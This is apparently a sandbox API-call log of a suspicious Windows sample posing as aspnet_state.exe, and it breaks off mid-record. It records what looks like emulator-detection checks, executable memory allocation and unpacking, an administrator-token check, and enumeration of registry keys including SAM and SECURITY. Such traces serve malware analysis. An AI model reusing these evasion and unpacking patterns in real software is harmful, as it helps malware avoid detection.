0x1b5 [0250.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.149] GetFocus () returned 0x0 [0250.149] GetAsyncKeyState (vKey=58) returned 0 [0250.149] GetKBCodePage () returned 0x1b5 [0250.149] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.149] GetFocus () returned 0x0 [0250.149] GetAsyncKeyState (vKey=58) returned 0 [0250.150] GetKBCodePage () returned 0x1b5 [0250.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.150] GetFocus () returned 0x0 [0250.150] GetAsyncKeyState (vKey=58) returned 0 [0250.150] GetKBCodePage () returned 0x1b5 [0250.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.150] GetFocus () returned 0x0 [0250.150] GetAsyncKeyState (vKey=58) returned 0 [0250.150] GetKBCodePage () returned 0x1b5 [0250.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.150] GetFocus () returned 0x0 [0250.150] GetAsyncKeyState (vKey=58) returned 0 [0250.150] GetKBCodePage () returned 0x1b5 [0250.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.150] GetFocus () returned 0x0 [0250.150] GetAsyncKeyState (vKey=58) returned 0 [0250.150] GetKBCodePage () returned 0x1b5 [0250.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.150] GetFocus () returned 0x0 [0250.150] GetAsyncKeyState (vKey=58) returned 0 [0250.150] GetKBCodePage () returned 0x1b5 [0250.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.150] GetFocus () returned 0x0 [0250.150] GetAsyncKeyState (vKey=58) returned 0 [0250.150] GetKBCodePage () returned 0x1b5 [0250.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.150] GetFocus () returned 0x0 [0250.150] GetAsyncKeyState (vKey=58) returned 0 [0250.150] GetKBCodePage () returned 0x1b5 [0250.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.150] GetFocus () returned 0x0 [0250.150] GetAsyncKeyState (vKey=58) returned 0 [0250.150] GetKBCodePage () returned 0x1b5 [0250.150] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.150] GetFocus () returned 0x0 [0250.150] GetAsyncKeyState (vKey=58) returned 0 [0250.151] GetKBCodePage () returned 0x1b5 [0250.151] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.151] GetFocus () returned 0x0 [0250.151] GetAsyncKeyState (vKey=58) returned 0 [0250.151] GetKBCodePage () returned 0x1b5 [0250.151] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0250.151] GetFocus () returned 0x0 [0250.152] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0250.152] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_state.exe")) returned 0x40 [0250.152] Sleep (dwMilliseconds=0x94) [0250.321] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x769d1856) returned 0x0 [0250.321] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x230000 [0250.326] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x769d1856) returned 0x0 [0250.326] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x250000 [0250.327] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d49d7) returned 0x0 [0250.327] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1222) returned 0x0 [0250.328] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1856) returned 0x0 [0250.328] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d435f) returned 0x0 [0250.328] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0250.328] GetProcAddress (hModule=0x769c0000, lpProcName="FlsFree") returned 0x769d359f [0250.328] GetProcAddress (hModule=0x769c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x769d87c9 [0250.328] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0250.334] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x260000 [0250.337] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0250.337] GetProcAddress (hModule=0x769c0000, lpProcName="CreateFileW") returned 0x769d3f5c [0250.337] GetProcAddress (hModule=0x769c0000, lpProcName="ExitProcess") returned 0x769d7a10 [0250.337] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0250.918] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.931] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1000000 [0250.938] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x104) returned 0x10007d0 [0250.938] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x10008e0 [0250.938] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000968 [0250.938] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x10009f0 [0250.938] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000a78 [0250.938] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000b00 [0250.938] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000b88 [0250.939] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000c10 [0250.939] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000c98 [0250.939] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000d20 [0250.939] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000da8 [0250.939] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000e30 [0250.939] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000eb8 [0250.939] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000f40 [0250.939] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1000fc8 [0250.939] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x1001050 [0250.939] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x80) returned 0x10010d8 [0250.939] RtlAllocateHeap (HeapHandle=0x1000000, Flags=0x8, Size=0x400) returned 0x1001160 [0250.939] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1190000 [0250.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x11907d0 [0250.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x1190858 [0250.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x11908e0 [0250.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x184) returned 0x1190968 [0250.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190af8 [0250.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190b40 [0250.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190b88 [0250.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190bd0 [0250.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190c18 [0250.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190c60 [0250.939] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190ca8 [0250.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190cf0 [0250.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190d38 [0250.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190d80 [0250.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190dc8 [0250.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190e10 [0250.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190e58 [0250.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190ea0 [0250.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190ee8 [0250.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x1190f30 [0250.940] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\aspnet_state.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\aspnet_state.exe")) returned 0x40 [0250.940] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x100) returned 0x1190f78 [0250.940] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x11908e0) returned 1 [0250.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x11908e0 [0250.941] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x2c) returned 0x1190928 [0250.946] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0250.946] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0250.946] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0250.946] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0250.946] GetLastError () returned 0x7a [0250.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119b8e8 [0250.946] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x119b8e8, TokenInformationLength=0x58, ReturnLength=0x18fbec | out: TokenInformation=0x119b8e8, ReturnLength=0x18fbec) returned 1 [0250.946] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x584af0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0250.946] EqualSid (pSid1=0x584af0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x119b90c*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0250.946] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b8e8) returned 1 [0250.946] NtClose (Handle=0xc4) returned 0x0 [0250.946] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119b8e8 [0250.947] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119b930 [0250.948] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x280) returned 0x119b9b8 [0250.948] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0250.953] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x119b9b8, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0250.953] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.953] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bce0 [0250.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x119bce0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0250.953] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bd28 [0250.953] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bce0) returned 1 [0250.953] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bd28) returned 1 [0250.953] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.953] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x119b9b8, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0250.953] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.953] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bd28 [0250.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x119bd28, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0250.953] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bce0 [0250.953] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bd28) returned 1 [0250.953] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bce0) returned 1 [0250.954] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.954] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x119b9b8, cchName=0x104 | out: lpName="SAM") returned 0x0 [0250.954] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.954] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bce0 [0250.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x119bce0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0250.954] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bd28 [0250.954] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bce0) returned 1 [0250.954] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bd28) returned 1 [0250.954] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.954] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x119b9b8, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0250.954] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.954] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bd28 [0250.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x119bd28, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0250.954] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bce0 [0250.954] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bd28) returned 1 [0250.954] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bce0) returned 1 [0250.954] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.954] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x119b9b8, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0250.954] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.954] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bce0 [0250.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x119bce0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bd28 [0250.955] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bce0) returned 1 [0250.955] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bd28) returned 1 [0250.955] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.955] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x184) returned 0x119d0c8 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bd28 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bce0 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bd70 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bdb8 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119be00 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119be48 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119be90 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bed8 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bf20 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bf68 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bfb0 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119bff8 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c040 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c088 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c0d0 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c118 [0250.955] RegCloseKey (hKey=0x80000002) returned 0x0 [0250.955] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x119b9b8, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x80) returned 0x119bc40 [0250.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c160 [0250.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x119c160, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0250.955] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c1a8 [0250.955] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c160) returned 1 [0250.955] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c1a8) returned 1 [0250.956] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119bc40) returned 1 [0250.956] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x119b9b8, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0250.956] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, 